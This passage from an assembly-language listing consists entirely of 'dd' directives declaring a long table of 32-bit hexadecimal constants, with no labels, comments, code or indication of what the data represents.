		dd 86F021h, 154C74A5h, 25692B2Fh, 97A1FD12h, 5C4A2C00h
		dd 394BD22h, 887A26FAh,	0B5E0C452h, 280B6E91h, 345510h
		dd 21F10BFCh, 1BEA03D2h, 996847A6h, 0ABAC1102h,	2250D49h
		dd 48E00550h, 9F008F3Dh, 1F0F815Dh, 0A361F9h, 15E65C9Bh
		dd 66025364h, 87D79200h, 60187439h, 0CE0D00C1h,	0F14A357Dh
		dd 1260A05h, 0E00090EDh, 0A4466B1Ah, 686A5C26h,	77B39403h
		dd 4EF034F3h, 110009A9h, 0DC881CDBh, 255998Ch, 0B3B8E45Fh
		dd 0C0DD02D3h, 7823850h, 0B8E05ECh, 4280C028h, 4302FF29h
		dd 0AC9D7E83h, 34304848h, 215A03F5h, 6D5D29E0h,	44140FD0h
		dd 0B4536000h, 266595CBh, 0B0700012h, 3A113637h, 193B3B33h
		dd 0DD7F0253h, 0E351637Dh, 612E80B2h, 0F82C03CFh, 166EB264h
		dd 8CB670C8h, 923AA400h, 8A18796Ch, 0E0334C69h,	515B2100h
		dd 7A9C4BFBh, 2699C500h, 3490913Bh, 939700EEh, 85CCC342h
		dd 4658D943h, 5BEA00E1h, 5AB52ECEh, 763C00FBh, 73269669h
		dd 3807D4FDh, 33DCB8DBh, 3216A480h, 27350E04h, 0F9C02319h
		dd 1BD6B55h, 0B41270F2h, 0C200E969h, 85E26131h,	37D9A0E7h
		dd 5188068Dh, 2A6C7998h, 0C0D38h, 0D5EF639Fh, 4C1BFBh
		dd 1C9636F5h, 0B6D9161h, 97F1291Dh, 49CE3E01h, 708032D7h
		dd 8DC41972h, 55303BD3h, 3EA43168h, 0AC5C006Ah,	790E0CAEh
		dd 0A0059DFh, 0FD2E1509h, 0BA49801h, 0DB8ADCF8h, 0EA054F80h
		dd 0C908F2Ah, 38843603h, 0C878169Eh, 9586748h, 49E13231h
		dd 80FEDB85h, 12EE0BE9h, 51E52400h, 0D6CB8093h,	0FF6F002Bh
		dd 157C4D0Eh, 0CD0F750Fh, 2B7BEC71h, 0DC9400C8h, 0A30D29Bh
		dd 8C531B51h, 0CFF81F08h, 1FD0A154h, 6E8299E2h,	60F68E92h
		dd 0F08D0EACh, 2AA0486h, 800F0649h, 76A566B7h, 4005098h
		dd 0EBBEE8ECh, 49C5707h, 34E79B33h, 677C90E6h, 610778D5h
		dd 3813D2Fh, 99A797D1h,	0F86132Fh, 80C00E4Ch, 273F7975h
		dd 3833F326h, 1DBCA100h, 0F23C1h, 0E8C2D2BAh, 0D4467C93h
		dd 0D35C5BE0h, 318C0B59h, 50CE00AAh, 3F26F81Ch,	1D00D07Eh
		dd 4BF4C0BBh, 0BE001183h, 53B8E545h, 12039796h,	4B55618Fh
		dd 408AD70Ch, 6739800Ch, 0F11EC70h, 3741C401h, 0F7ACEF07h
		dd 95356ECh, 4B8CE2AEh,	60A090C1h, 9D002894h, 5970E7Ch
		dd 0FC04E320h, 9B4526B8h, 581B03C0h, 0DBA8E636h, 33508890h
		dd 9D0764B9h, 6945A99Eh, 0B71DB520h, 875903B4h,	4F098868h
		dd 3BA3600Bh, 31B8A16Ch, 7FF81860h, 977800F2h, 0D31982DCh
		dd 0AD01553Ah, 523422AEh, 0C0DF3CCBh, 0DE9B07h,	0D66C27DBh
		dd 95F1BD98h, 99817900h, 65D0B077h, 88910062h, 3B478290h
		dd 4509BBDDh, 0C0E189DCh, 7A92FCh, 0EE10C50Fh, 0C40C7416h
		dd 0C60B5400h, 8550438Dh, 0F7CF0049h, 254A2DEDh, 2200B756h
		dd 43D9ABF1h, 1E8C4CBh,	0EFAC31EBh, 0C43B3F2Ah,	44A8E107h
		dd 0D812B88Eh, 140714C8h, 3C400B4Bh, 0DF5DE7h, 76B2A449h
		dd 9431DAA6h, 0D75FF700h, 0E249260h, 0BA6A0005h, 7C0D87E5h
		dd 8D398FBBh, 370F81F6h, 0C09B3A03h, 7C85F3C0h,	49F900FAh
		dd 284390FEh, 0B701BF45h, 311F774Bh, 0AA300A53h, 4F5E0010h
		dd 0C0A5C2E5h, 0EF289B7Eh, 6400847Bh, 4CB6A898h, 30375F7Dh
		dd 7411F0D0h, 0C520387Eh, 55E6F6h, 0AA66B58h, 8A27E5D9h
		dd 0AA006278h, 3B78EE66h
		dd 0B00769EBh, 9C8D4808h, 0DFB9E01Ch, 659907B1h, 0E518902Bh
		dd 0FD00A4A9h, 0CE5A625Fh, 0F96F71Ah, 6A95D53Ah, 8FE9CD01h
		dd 98E0D2A6h, 683C4D92h, 77BBD57h, 89C12B4Fh, 5F883480h
		dd 947119h, 976020D3h, 0E1EC177Ch, 0BF864107h, 900C306h
		dd 1E5C7EAh, 2BFB7054h,	60F658EDh, 98CE2794h, 645680D6h
		dd 4926AD32h, 4401E8E5h, 827DB24Dh, 342988h, 0FC099EFEh
		dd 0EB6F0Ah, 1F6038EDh,	24D54A8Bh, 0F4FDC824h, 830F820h
		dd 1EE8493Bh, 4CA624EEh, 0EF3500D2h, 0CF178923h, 8FAC9700h
		dd 417ADB6Eh, 0A2CC0074h, 1472882Ch, 0D70036ABh, 61F13CC4h
		dd 3B9DF022h, 12011307h, 729520D5h, 14F9F828h, 63893900h
		dd 7D2D68FDh, 7A710Eh, 8D32F480h, 820BAD93h, 7C90C200h
		dd 0B70ECF7Bh, 2BC907Dh, 561ACBC1h, 42DEAA3Eh, 10310C26h
		dd 2F30E8A5h, 20DC25h, 0B01E4AA0h, 9600D4EEh, 0BA4C6E30h
		dd 0C058925Bh, 0FDA6D999h, 0F704AA34h, 0BDE91444h, 0A410E0h
		dd 0D573CC8h, 95FE21B2h, 2342D500h, 0E8DF7C18h,	0A114009Bh
		dd 20B2E40Ah, 8300737Ah, 0C454390Dh, 0DAE116h, 0F0E8D2BCh
		dd 0BDB22DD5h, 0A69C3B07h, 19C089D4h, 58718409h, 0AA0B757Dh
		dd 0A980EB2Bh, 0C6B8BF4h, 7EBC445Ah, 0D7544800h, 603DB1CEh
		dd 84005771h, 6FAC641Bh, 7E146Dh, 7FCCC4C6h, 1799D14Ch
		dd 500ED026h, 0E809D480h, 0E49A3359h, 8C7FE0h, 839F457Eh
		dd 469CA2FEh, 727627h, 0F1DF0A10h, 8FA900BDh, 7C255F2Fh
		dd 0EE018804h, 64CE4454h, 502C5708h, 0FB20688Eh, 99017EB6h
		dd 5302BE00h, 561DF2E1h, 48FE0150h, 0D74728C9h,	0ACF68C43h
		dd 75211F1h, 7949CDABh,	10658029h, 551E7695h, 0D59D16DFh
		dd 51FA9780h, 0BC61B4Bh, 0E4E3B9D2h, 0F01C9707h, 0EEF3B8CAh
		dd 0E71F4BAh, 0C90325h,	4F674CB0h, 8ED3036Eh, 0F4FF2BBAh
		dd 0E01CC1C9h, 83017087h, 3C9E3D6Dh, 74241794h,	24CC00CEh
		dd 1B5490DFh, 493FF310h, 0C955B09Bh, 28D83F7Dh,	17E4ED63h
		dd 0F22E76Fh, 0FF29A21Eh, 8D8808E0h, 0E4015AF6h, 9C81E77Fh
		dd 0B3306E61h, 3A0F023Ch, 0ABA32991h, 264E2360h, 0DB9FCA16h
		dd 92073E00h, 2C84A4h, 0CC52E09Ah, 76A6F84Ch, 6CF2AD00h
		dd 5BFDD683h, 7CFC9005h, 97622847h, 0A60900E4h,	16A01D37h
		dd 0D4028E75h, 0EFB3E725h, 0FAA4C051h, 3B28C08Ah, 0E333B272h
		dd 56990B1Ch, 0FF834CC0h, 0A434B0h, 3505C2B8h, 70FDB639h
		dd 5A445Ch, 221535Bh, 0F0552268h, 387EE1h, 2301BBFCh, 39F8AAA4h
		dd 9F0DF11Ch, 0C5008CE8h, 0CC058840h, 0F0CA2Fh,	0FA3D23DDh
		dd 9B8DDAB6h, 0C100ED70h, 693E6CDEh, 6F95B21Bh,	0AEE0A09Fh
		dd 65C310B6h, 1523F70Fh, 0B338A0C2h, 2C618A07h,	0BBF5ECAh
		dd 701642Ch, 61374958h,	208435B1h, 0A0000E35h, 6EF70CDh
		dd 485DDFE3h, 813A08B8h, 2C457380h, 23BFE14Dh, 0B44F7200h
		dd 0D5D0BA9Eh, 2FC70263h, 1C6B489Ch, 245D60C0h,	3398B00Bh
		dd 0A54480F0h, 2D61B3h,	0B21FFB08h, 0BD02D0D5h,	0FE052773h
		dd 0CDB4E58Ch, 0FB4DE480h, 0D69E00C5h, 28ADA538h, 0C82EF346h
		dd 1C05F39Fh, 20C03CBAh, 2CE37FFDh, 2CCC1F70h, 0B631A8A4h
		dd 0E76600E8h, 0E2654DABh, 0D4D3F404h, 3488BDF7h, 0A4F50156h
		dd 16DB450Ch, 2E48F822h, 24555F4Ch, 38249A4Fh, 6C282007h
		dd 86F36F50h, 9B27361h,	531F2768h, 60BD6802h, 0B7808CE4h
		dd 9A079276h, 55AA4218h, 0E69CB6C0h, 5D64002Fh,	93F2C1E0h
		dd 0B5243CEBh, 4600F57Ah, 0A975195Ah, 687F0021h, 0A1DE3BE4h
		dd 28002E88h, 62DFB66Ah, 6063ADD4h, 86423011h, 0BC026ED6h
		dd 76BA502Bh, 386437h, 0A7FF639Bh, 65AA5DDAh, 20D9B100h
		dd 5B0E3FEEh, 28D42CDCh, 0F83501FCh, 7FF204h, 3F4C4A8h
		dd 5B1950B9h, 11BE643Bh, 0DC6A701Fh, 8A41EA50h,	0F464F7F9h
		dd 1A2A4C79h, 62BEF600h, 0A73F759Ah, 1E1609ECh,	0FC0021DDh
		dd 0EA70C5BCh, 3E51C81h, 0FE6580BBh, 0B48D74D1h, 0E1DBFB00h
		dd 5C874C7Eh, 38C73CF1h, 185812BCh, 34591600h, 31037A3h
		dd 0B0CA8401h, 0BFEE5A19h, 2659424h, 0A3E26820h, 6040151Dh
		dd 461435D6h, 49F21006h, 0DB007764h, 4ED59AB7h,	194FEAh
		dd 9596051Ah, 0E4CB2E8h, 9ADAB51Eh, 0C5BF7480h,	0B3FA778h
		dd 1E6C40EEh, 102C5F00h, 0C1F6888Eh, 7B27DC00h,	42D9B241h
		dd 97BB003Eh, 363B93FDh, 9200A075h, 0F52A3A72h,	0AD58C09h
		dd 4BF04C03h, 60C0082h,	692FDFD3h, 53F67B16h, 0D157DC00h
		dd 1882335Fh, 0C8C8CDF2h, 6318CCCFh, 0B438BA89h, 133A164Eh
		dd 6D302177h, 0AC6CBBh,	0DEAD0418h, 0B8E2C153h,	867770h
		dd 0C2654843h, 0F24B35Eh, 0C3D7AC00h, 232155C4h, 0FC7450E6h
		dd 0E0C000BCh, 7645375Dh, 0E863A8DFh, 0C1B54C11h, 5100CEBDh
		dd 0F25410ADh, 0E4B41EF4h, 0C8C23A3Ch, 0A3530080h, 7922AEA1h
		dd 58FCA133h, 58EA15D4h, 921E437Eh, 2F4E4FD0h, 0F193680h
		dd 0F30071CBh, 22B823Bh, 2C55DCA7h, 90B3B8h, 67FA195Bh
		dd 88004B8Ch, 0FCDEEB9Ah, 24E3D912h, 39390601h,	0E20B3D04h
		dd 9B7380E0h, 5503515Bh, 322548D8h, 7674E075h, 3EFC00DCh
		dd 29860EF7h, 4400DDD4h, 0CDAA555Dh, 2894391h, 1349F966h
		dd 0A4408A5Ch, 7C002C2Dh, 0BD582729h, 26DB21E3h, 28FA8Dh
		dd 0A3A9D843h, 0E0CB2C3h, 114E9F25h, 0D03308A7h, 890B2C44h
		dd 5704C18Ah, 0D71E0838h, 0ABFA00E7h, 141D2463h, 0BCF3CC16h
		dd 7E2CB714h, 0C09FDC16h, 0AA658030h, 607F00ABh, 8F26432Eh
		dd 727F3646h, 0B6987700h, 0CD358464h, 6B985Eh, 748F30D6h
		dd 1E519228h, 0E869D200h, 19C86C21h, 0AA0E0186h, 425BCB60h
		dd 0FD189CE7h, 0B9BA9A47h, 26721BD0h, 0A8512DACh, 530B4C00h
		dd 8D0067B8h, 6D87E29Eh, 0FE8A38h, 0BE25F4D3h, 0A5866957h
		dd 921EDB0Fh, 0CB52C037h, 4D42D2h, 3B1DA64Ch, 2C9FEF19h
		dd 33FD2E07h, 0A5B071F4h, 7BCC76h, 0E12F2954h, 150A51BEh
		dd 20363401h, 195B823h,	8DC8021h, 0AFDE024Dh, 2484CD2Ch
		dd 72D30880h, 0BD882165h, 0E1E0E8h, 71BEEE2Dh, 0D53F37ADh
		dd 0E37AC900h, 0CFA4A5Fh, 64E917AFh, 70780276h,	9813661Ch
		dd 6F9C78h, 0F2A9399h, 3B2F9EE1h, 1569F500h, 1F2E1470h
		dd 0A3E30067h, 5F8B0FFBh, 6F002BD7h, 5BBA0E6Dh,	1CB075h
		dd 0D3083349h, 0F41769CBh, 2779CE00h, 2DD44B4Ch, 9A90066h
		dd 0ED3A13B7h, 3517EB56h, 6F0073F5h, 20D3F97Ch,	3FEA0B88h
		dd 0E4009EBDh, 0CBBA461Ch, 594E127h, 98F20BC0h,	1D896010h
		dd 9B00EDC6h, 0C4E35B1Ch, 6ABC0061h, 7DA8EF96h,	0CA3FC7D9h
		dd 0AD3780E7h, 34E2149Bh, 0ABA00001h, 0C7553BA2h, 0D55C788Bh
		dd 0E4BF088Ch, 0C1F50903h, 6F00B85Bh, 4A555ACEh, 4179008Bh
		dd 0C3A4890Ch, 8C5CCDE3h, 9F3500CCh, 0F56C9394h, 697200B1h
		dd 153F27DDh, 88C78A8Bh, 403E3C7Ah, 0C0E6AAABh,	3E8E0031h
		dd 0D784EDDBh, 0C1025430h, 9F06D680h, 700090Ch,	2AC817A0h
		dd 8891E703h, 0F0A753CDh, 0B018B448h, 0CAD901E4h, 0B1552EE1h
		dd 56CED01Bh, 40319800h, 0F4E6B889h, 0AABE1702h, 0C00F0047h
		dd 0CFD6548Ah, 0E0005F6h, 37936DEAh, 0CDC340h, 0BB75C57h
		dd 8D8C165h, 3000FCB0h,	9951372Eh, 90688516h, 0A5C88925h
		dd 1580883Ch, 16344E90h, 13AF7F03h, 0CB6A7ACEh,	5480E597h
		dd 0F2A4E0AEh, 0D23B1D63h, 0DC81FC77h, 92CF3CC5h, 0AC2020EFh
		dd 0E75C0700h
		dd 2B06351Bh, 0D6CA00ADh, 339F68BBh, 0DE00A3C1h, 0B2233210h
		dd 0C6528Bh, 701C043Fh,	8E065E92h, 203087Dh, 19B6573Dh
		dd 84A80014h, 33FA2CCDh, 900C09DFh, 102D75A8h, 91AE11DEh
		dd 9B410085h, 0ABB1329Dh, 31AD1E7Bh, 8DD9C222h,	786A1F97h
		dd 38A4A20Fh, 24A48077h, 0BD981557h, 1112E302h,	0F2CC16F9h
		dd 15900D8h, 5EDD0367h,	9FF8D2D8h, 66DCF000h, 9105AF28h
		dd 0BD54007Ah, 4A3AAD38h, 131E674Fh, 4EC2CA1Ah,	580492DEh
		dd 8D0105BCh, 80D55942h, 0F749B87Ch, 0DE38411Eh, 83A96380h
		dd 2F44EAh, 53960C2Eh, 0D1849FD5h, 0C3376D0Bh, 214460DAh
		dd 0D8B700F6h, 0FF916F8Ch, 920452FBh, 9BFC2270h, 17918F8h
		dd 0D4FDA429h, 0F502979Eh, 0DB60EE46h, 1C0F81BFh, 2D05CE21h
		dd 0C0401CB5h, 0B04AFE6Bh, 1F547130h, 2ECDEEA3h, 0C19D0382h
		dd 0F9809C83h, 2C000137h, 0AB0E7A6Eh, 1BDD4E8h,	38B57FFAh
		dd 0D4BA64D8h, 4A00A29Bh, 8890D2BFh, 0E0448FF7h, 13103B5Fh
		dd 972FF462h, 4F2CF448h, 0DA69F600h, 0B45CE230h, 0BA37005Ah
		dd 12F180E1h, 0C6002319h, 0C33EF2FAh, 153BDBFh,	0FD6139D1h
		dd 6041CE90h, 6094B159h, 0E8092D00h, 1CBE1FB5h,	0AA433Bh
		dd 0C3F50F58h, 2375263Ch, 8395900h, 91FF447Bh, 0FAE40076h
		dd 0E3F013EEh, 0EA09A020h, 0C9A980h, 7D4E890Ch,	52E600C8h
		dd 2DA34169h, 9C91476Bh, 64315D13h, 686079C8h, 4314000Fh
		dd 6CD7898Fh, 700C361h,	0B15A012Ch, 4C6AE8BEh, 0C4974D6h
		dd 1040A325h, 314EBAB5h, 0A903C00h, 1645E85h, 88EC3BFDh
		dd 9630957Bh, 41030461h, 9989C9B0h, 103003EAh, 0C4781745h
		dd 0AF5800AEh, 9C4F15A3h, 21C9EC00h, 16D20DE1h,	3421C055h
		dd 0DE3E9B35h, 46D09761h, 4E004F0Fh, 9D4803DBh,	7CF1CF4h
		dd 0A20CB080h, 0E02310F0h, 67B70014h, 6D2ACEC9h, 0B20F1287h
		dd 4478F2E8h, 6C9040CDh, 998262Bh, 34538EBDh, 0F3D35C00h
		dd 1300B908h, 88A43AEBh, 0E418C5A0h, 9A2E00E0h,	0F599B8FDh
		dd 0C00EDF9h, 55797FC7h, 5CEFE688h, 24009823h, 0F6ACB197h
		dd 784C2CA2h, 9EAA004Eh, 0D8C90A49h, 0CEF33EAEh, 26482D80h
		dd 0B6D78D95h, 0FB007875h, 0F2742F32h, 0FCEBD9A6h, 894D05BEh
		dd 80197688h, 57D09D34h, 0A77CE2Eh, 90024200h, 1D9F4173h
		dd 805D6601h, 1B71A75Ch, 8976C7AFh, 4BBDDF00h, 5147723Eh
		dd 0E77D4h, 8A535984h, 6EC30529h, 0AF857800h, 0C55622EFh
		dd 37263AC0h, 9FB65300h, 167E9297h, 40F92409h, 0CC7F0009h
		dd 0BA4EB7h, 0E83B139h,	590DF2FBh, 7F423400h, 3BD685E1h
		dd 0F3BD0705h, 10DDD4B3h, 2483FA39h, 5C0F6D00h,	4F07AD93h
		dd 7BB40F21h, 56A0061Ah, 0FA5D0C75h, 2E18A800h,	0C89B861Dh
		dd 1F07EAB7h, 0FFFB1936h, 0A3807439h, 49C7F2D5h, 0AD5F75E4h
		dd 9D934C03h, 0E3FDDA6Dh, 28E6B9h, 1413E017h, 999A5503h
		dd 2AEAD716h, 952B8D00h, 0FC112908h, 407F032Fh,	0D009E00Dh
		dd 0ADF2380Fh, 0A071EE1Ah, 96A9277Bh, 1FCB00C4h, 0C298DA19h
		dd 87004783h, 0C81C16B6h, 0B94F55h, 592AFBFh, 8EC61EA5h
		dd 3145B20Fh, 0BA2CA03Ch, 0F8ECE8C8h, 0C4B0069h, 7B262342h
		dd 851E5907h, 7F7156h, 1CCF94E9h, 0EF32E53h, 91EFE7E3h
		dd 5626A760h, 0BF002A60h, 0F9B42462h, 3BE1508h,	0CE7016D7h
		dd 46B8A98Ah, 700E7B8h,	1DE13EEFh, 0C859347h, 0B74577BFh
		dd 0A80B7520h, 8126D3AAh, 30AEB5DCh, 0EEC81880h, 179AA738h
		dd 0A8218624h, 0B898C4A0h, 2C412300h, 0CA2F7A68h, 0E460059h
		dd 0FDB7382Ah, 7E05099Eh, 0D87FCFA0h, 0A8EB01Ch, 0B804F7DAh
		dd 0F4D24108h, 0DCC0408Eh, 792CF07Ah, 0CEE40B75h, 0A4409D91h
		dd 7027EA41h, 902001B1h, 9022BAB8h, 5C5AB509h, 0E95B5CB0h
		dd 25121DF0h, 1900689Ah, 0D1D3679Eh, 7958B042h,	0DA4B11h
		dd 80F10AECh, 5C9A8815h, 0A66F7300h, 27B36B13h,	0FD402690h
		dd 0BC3D00BCh, 655A7B5Ch, 681D4300h, 0A057B14Ah, 0A9360032h
		dd 0A11644F7h, 0C640D527h, 0F1EAAAh, 65F05FCCh,	0F94B5CDCh
		dd 4E638200h, 90ED2EEh,	49D3005Bh, 7046CC92h, 7E00ED41h
		dd 91B81BC0h, 0C0CEA3D9h, 610F87F0h, 100E5DFCh,	0E099DDE9h
		dd 20A08FACh, 8AB9C033h, 1E97C658h, 0C4EC7C77h,	0C80092EAh
		dd 0F05B562h, 0BAF9A8h,	7DDFAB74h, 0C94A3F88h, 0D2DAAC00h
		dd 97E6F1B1h, 0F7FFCAEh, 0C716676h, 109DBDA0h, 7200ECF4h
		dd 6C27C748h, 0F51AE33h, 542E9BA8h, 1074E353h, 0F3111858h
		dd 0EE9D00FFh, 0DBE9F5FAh, 3CCB0320h, 2AA4268h,	6C2AE1D0h
		dd 0F66ECD0Fh, 8734A78Fh, 0C96D60F2h, 0E43DE484h, 0EF5FF203h
		dd 0FFBA9Bh, 0BDB7A7C5h, 0E72A7000h, 0FE1E57A1h, 0E8800B0h
		dd 5129E55Fh, 63014322h, 420D6734h, 86605314h, 8A7406A0h
		dd 1111284Fh, 3D573707h, 258773Ch, 459B2A7Dh, 0FE61F07Fh
		dd 0EB9324C1h, 3C9400C6h, 8396D4FFh, 6A515200h,	32DE6539h
		dd 0E6A91C89h, 7F5D0006h, 0E82E9F55h, 7B392700h, 0D5AB8683h
		dd 0A4050034h, 0DE17620Dh, 730055CDh, 7C5F1A18h, 0F877A6h
		dd 0A5F0A0B7h, 4438887Ah, 5CE49978h, 5643D700h,	0CEDC2241h
		dd 9250020h, 1CE33D04h,	2F072A15h, 0EA84BD08h, 0D7BC5A80h
		dd 0D235003Bh, 0A8672C38h, 0A000B11Fh, 13992E4Fh, 261DAEh
		dd 6B22503Ah, 48A644D0h, 16024C00h, 0CF6EE875h,	0E95733D5h
		dd 110FD376h, 6846E458h, 0FC8F00DFh, 48BE76FEh,	3F997007h
		dd 5A80F0C9h, 98745Dh, 0A82BC1D8h, 24BD20FBh, 9BB30901h
		dd 8F0BEF95h, 7152B70h,	5D299326h, 0D0537769h, 0D939CD32h
		dd 0CC5AC803h, 0A0913698h, 31D5F1Ch, 52CA2376h,	38F8AFE1h
		dd 0F807B44Dh, 74260390h, 21490610h, 7DF2005Fh,	41E7989Ch
		dd 0E90A19Ah, 8C378300h, 85919501h, 0FE9F0068h,	2CB772E4h
		dd 0F8CBF4FBh, 0A91707DCh, 6F0980FEh, 1FD093h, 5F1D4B31h
		dd 0ABE1F055h, 673ED475h, 33638008h, 0D9B0B796h, 0A322008Ah
		dd 0D4C60FFFh, 0D609933Bh, 20BA8645h, 6DD4834h,	2F040027h
		dd 3BB51E6Ah, 164CF30Eh, 5FEC00C1h, 715868AEh, 0DFF050h
		dd 0B1C291BAh, 1A56F930h, 20B35300h, 1CE4633Ch,	91C4009Fh
		dd 6FFC815Ch, 84009279h, 2DBFB735h, 0FED7478Dh,	0EF4E00D3h
		dd 0F7E95C0Ah, 7C3C9F38h, 0EA980EAh, 98474218h,	493514D0h
		dd 2A8080FAh, 0AB4C5873h, 0CDD8FE0Ah, 0D70108C6h, 7D1BCACFh
		dd 49F65D00h, 103D37Ah,	814FBCF3h, 65C3C073h, 405300FFh
		dd 0A09F1A80h, 0AA1C3F6Ah, 57C08BB6h, 0EBE694FBh, 65130A75h
		dd 40B8F36Bh, 5CBBF54Ch, 57D2451Fh, 0D87EF481h,	7830A369h
		dd 3CE0EFh, 8E8B3895h, 7519A0A8h, 0BA378F00h, 2DF36756h
		dd 448D00D2h, 0EFE21D31h, 881DB654h, 1BFA63Dh, 0F435971Fh
		dd 0C9C0CE87h, 94B7005Bh, 49F32430h, 6D00C1D1h,	808EF52Ah
		dd 4ECD6h, 4E232EB8h, 663C6CFAh, 6B7FE400h, 0C5F5C2DBh
		dd 1619000Eh, 419C5DC1h, 85006757h, 4BA4FC55h, 2CB7F306h
		dd 0F43FD9h, 0F02BC744h, 5301CEC1h, 0DC15D77Eh,	0F4800248h
		dd 0ECFE484h, 1800673Eh, 2D38ED90h, 30C2DEF2h, 0EBA4B994h
		dd 0A848FDE1h, 0C0051E94h, 0FC910C40h, 462B252h, 557AA083h
		dd 7845FCB3h, 60D9D530h, 7C4A5D16h, 0E53E5066h,	0E6053C61h
		dd 0FBFE07Dh, 0F5F748Bh, 4803FC14h, 0C1D9AC81h,	0C43A20BEh
		dd 0F2B4080Eh, 38C71860h, 0D7E8355Dh, 9FBA111Dh, 3AE179C0h
		dd 144C7A86h, 93758830h
		dd 0B6FB2D0Ch, 0BD015780h, 0BCD994C6h, 0F3309E66h, 61010076h
		dd 4E530FB0h, 0EF120A96h, 40404144h, 0CC9FC34Fh, 0BAB70089h
		dd 52DDD461h, 810CD17Dh, 9815D822h, 21C5066Dh, 395D9A9Fh
		dd 62C1CF15h, 7E13BACh,	0DDAE7EBCh, 0E2EAD9F0h,	0FE640444h
		dd 8313063Fh, 76F003C5h, 0CC00A9A4h, 4F222497h,	16915Eh
		dd 83D1F06Dh, 0CF1E848Bh, 0A4882E00h, 8289A6B5h, 0F6EB0EBAh
		dd 0E6024B4Ah, 0EF407432h, 56005ED9h, 0DF34F5CAh, 3580BEh
		dd 0CEEE9A1Ah, 0F784B3Fh, 25B6A600h, 2F8A8C85h,	89B092h
		dd 0F67429C4h, 5D13AFB8h, 4069F91Fh, 7A8C0D81h,	24302667h
		dd 0D03300B2h, 30657C47h, 7100852Dh, 35519F6Dh,	40AD9Ch
		dd 620341ABh, 15A01675h, 1EE6A15h, 0F4007BECh, 0F28BD79Ah
		dd 3A835D79h, 3F247AA2h, 9B588044h, 0F260C79Ah,	0C56F991Dh
		dd 0C114BF40h, 0A89C5CB9h, 0C00BE0B0h, 0E636AC51h, 6C0071FEh
		dd 0F57C8D70h, 8165BCh,	6EABB8D3h, 0BB3DC57h, 54E09500h
		dd 48DB5A61h, 115E09B6h, 8C8E89EBh, 0E7C7A138h,	74002F79h
		dd 0B543231Ch, 0EDB5893h, 659DF149h, 7D279FA0h,	16051C75h
		dd 0E4729E08h, 0FFFA203Ch, 20C6418h, 0C95A35E5h, 0D4793DA8h
		dd 17EC401h, 98A6CFD8h,	9D219008h, 6D40071h, 9F73A75Bh
		dd 272CF57Eh, 0AD098D52h, 7CAC20DAh, 44C8C1FBh,	9D635F54h
		dd 71492608h, 1C1E020h,	73068EBDh, 85D7E5CCh, 554853F8h
		dd 0C1F62420h, 0C55423C9h, 19002911h, 3D27C1DFh, 370141A0h
		dd 9B424A5Fh, 0B1804434h, 0B6AF470Ch, 22141030h, 10C47D04h
		dd 0DF0344FCh, 0DD83E699h, 0B7F67003h, 0A79ECDCFh, 0DEAF2A71h
		dd 881B1881h, 0E04F10CEh, 0AA0074DFh, 1CD97754h, 1D3C13A3h
		dd 8ED464EFh, 6EE5E094h, 0DE80359h, 0A9011DEBh,	0C490575Fh
		dd 8190B6F8h, 74DC2024h, 0E0448136h, 80992ABEh,	1B64B600h
		dd 0C69CE70h, 199F66BAh, 99C0B308h, 3A1B6C8Ch, 69330051h
		dd 94D6FAECh, 0F17C65BDh, 7C481849h, 58373C12h,	530A0852h
		dd 74C0F898h, 46C41FD4h, 69322B6h, 7D44C72h, 48481127h
		dd 36B23A0h, 8BE89AF3h,	2330629Ch, 70EFF2A7h, 261C921Ah
		dd 0F13D6F0Ah, 0E80A50C7h, 5711FCDEh, 0F3C1C29Eh, 2431B554h
		dd 49C11B12h, 0AB2BFC7Bh, 44BEA501h, 744B3AA3h,	0DB4FF4h
		dd 731C89D2h, 6EE00EC1h, 6CB83064h, 0D19A9E60h,	5CB08B68h
		dd 42211798h, 0C49A02E5h, 4658B9DAh, 3CDF80A0h,	0EA74839Eh
		dd 593EF300h, 335C12ECh, 37B726BCh, 3F5F80B8h, 97397E2Eh
		dd 80DDD8C8h, 292FCC03h, 1C067C8Ah, 676ECE98h, 0F7990271h
		dd 0F3687726h, 2611889Dh, 63201D80h, 4824D33Ch,	7144A8D0h
		dd 9DC16260h, 18655423h, 0EA1D21C3h, 8F49C107h,	83EFFC65h
		dd 0F03FC898h, 5D99D3h,	4728CD14h, 0E60B3582h, 24896D5Ch
		dd 388F48A5h, 0EC8FC037h, 0E7C320h, 0A018948Dh,	0DA6A59F1h
		dd 0D1B8E17Ah, 0D700CC7Eh, 5BB4F0Dh, 0A003AE45h, 7862C4h
		dd 0DDB8A90Ah, 371FC6D4h, 1507E491h, 0F490BFD1h, 0DCB967Ch
		dd 0D8E97AF2h, 8B6C5462h, 0C0ABC864h, 4CF0BD43h, 0E0C5EC00h
		dd 0D0866CBh, 0BCF2449Fh, 0D49D9900h, 0F33F595Ch, 0A3640C98h
		dd 0F170D5CCh, 0D47D048Ch, 625EC41Eh, 55812096h, 450097D4h
		dd 8E93BB11h, 0C0D8B7B3h, 2F3CFE69h, 5C90D3AAh,	661322FCh
		dd 441149Ch, 3F1EDCDh, 6D23C023h, 0FA9A9D01h, 3E18CA8Bh
		dd 0E44188h, 3187969Ah,	43D03849h, 0A218B2F6h, 4781F3ADh
		dd 5DBA30E5h, 9B5FEF40h, 9C721005h, 1480C91Eh, 542AE8BCh
		dd 1FB1F4BAh, 0E592EEh,	3C4E737h, 0FF0072B5h, 0BC7A180Eh
		dd 124F9B83h, 402BB7BEh, 5DEE7850h, 6A1E1DA5h, 0EC404BC0h
		dd 0C4BB3B08h, 114739ABh, 0F1127B94h, 1C6050h, 7537726Eh
		dd 0E540B383h, 6AB5E3Ch, 0A32A5570h, 9A7389h, 26C1CED5h
		dd 6DD2C3B1h, 63FD7F02h, 0A30814F1h, 7A22A90h, 0D6257C31h
		dd 63BA03Dh, 190047D7h,	3F37F8Fh, 3A1EF566h, 0B9890C86h
		dd 3C10E459h, 0BD04A7FAh, 5DFFDA33h, 59B8FFC0h,	3C034843h
		dd 7BC0EF88h, 43C564D4h, 738F804Eh, 314CD4h, 0FD900705h
		dd 0DE29E2DDh, 0D0478926h, 0C4ED14F4h, 1487D02Bh, 0B18CD099h
		dd 0CA00627Dh, 50A07594h, 39B8E417h, 0EC8341B6h, 9D70B924h
		dd 81994909h, 0AE38244Dh, 0F9044C88h, 13904620h, 49E983D7h
		dd 5C849664h, 33C51E7h,	6CCBED7Ch, 0F18BC904h, 0BD9BC0h
		dd 0B3775A9Dh, 0D9DCD8A2h, 5B211D0Eh, 0D41C3328h, 0F50C40A8h
		dd 11B4371Ch, 1E890FE8h, 0FF43015Ch, 8FE5EB34h,	0C1AC8860h
		dd 0F42E0550h, 7B008395h, 7771B396h, 1D36067h, 49F24781h
